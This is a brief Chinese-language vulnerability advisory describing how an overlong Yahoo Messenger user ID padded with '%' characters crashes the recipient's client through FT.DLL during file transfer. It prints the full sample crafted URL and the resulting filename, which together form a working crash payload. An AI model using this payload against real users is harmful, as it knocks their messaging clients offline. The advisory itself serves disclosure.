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受影响程序:Yahoo messenger

  详细描述:yahoo messenger中的文件传输选项漏洞能让远程攻击者关闭受害人

的yahoo messenger客户端。

yahoo messenger能过滤掉yahooID中的一些特别字符(象&,?),当攻击者发送一个文件到 “受害人的ID%%%%%%%%%(超过73个字符)”时,服务器端过滤掉%字符署名“受害者ID”并打开一个文件传输会话,如果受害人接受了这个文件,他的客户端就会提示存取出错并关闭,出错的原因是负责yahoo messenger P2P文件传输中的一个FT.DLL文件造成的。

  攻击者发送给受害者机器的样本地址:

  http://10.10.10.1:81/Messenger.victimid%25%25%25%25%25%25%25%25%25%25%

25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%

25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25

%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25

%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%

25%25%25%25%25%25%25%25%25%25%25%25%25%25.1066206307331File.txt?AppID=Messenger&Us

erID=victimid%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%2

5%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%2

5%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25

%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25&K=lc9

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6y 14 53
Messenger.vicitimid%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%.1066377306549File.TXT


 

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